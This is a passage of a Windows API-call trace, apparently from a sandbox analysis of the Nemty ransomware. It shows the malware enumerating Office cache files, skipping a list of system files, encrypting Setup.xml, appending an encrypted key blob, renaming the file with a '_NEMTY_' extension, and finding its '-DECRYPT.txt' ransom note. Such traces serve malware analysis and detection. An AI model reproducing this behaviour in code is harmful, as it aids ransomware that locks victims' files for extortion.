(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0049.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.787] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0049.787] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0049.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.788] Sleep (dwMilliseconds=0x5) [0049.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd15cef30, dwHighDateTime=0x1d561e7)) [0049.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd15cef30, dwHighDateTime=0x1d561e7)) [0049.793] GetLastError () returned 0x0 [0049.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.793] GetLastError () returned 0x0 [0049.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.793] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.793] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.793] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.793] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="iVArzX4+Hj/myKy9e6FABnZ2EH7132HMZW9hkNCbkfLgyOel0IHEP1FBZyuFx/+I\r\nMnR82b6KKHW4fJDC3S7JKVynqgfQzL1v4YBaMQbowfV87TUrh5JsjiXl2XYknao7\r\nhuPAdYPdYiiZnrIFo4AmPU1XSKH6yTwxvB7j43DYbKIYYVBWsMxtwHhBsZrB5reW\r\nbPtLlDOD+vNxjrH4Hjz0mcm1mTP6OPH0Mk29H1PHMWjJBdLGaNfuBU6+4Y/dUk2h\r\nPRgAVGwSd6zvb5/NGnDsW7ZbWYGpz+TvJUVOCaLGns/a7C0SNU2VOoL+viIiWeL+\r\nP4ek9UqGY8WapAxJuDJ2xg==\r\n", pcchString=0x653ef9c) returned 1 [0049.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.795] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=31094) returned 1 [0049.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7970) returned 0x6346d48 [0049.795] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.795] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x7970, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x7970, lpOverlapped=0x0) returned 1 [0049.798] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.798] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x7970, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x7970, lpOverlapped=0x0) returned 1 [0049.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.798] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=31094, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7976 [0049.798] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.798] CloseHandle (hObject=0x3c8) returned 1 [0049.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0049.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.800] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.800] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0f8f570, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0f8f570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0f8f570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0049.800] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0049.801] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f942e8 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.802] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0f8f570, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0f8f570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0f8f570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0049.802] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0049.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0049.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0049.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0049.802] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0049.802] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0049.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0049.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{91140000-003B-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0049.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) 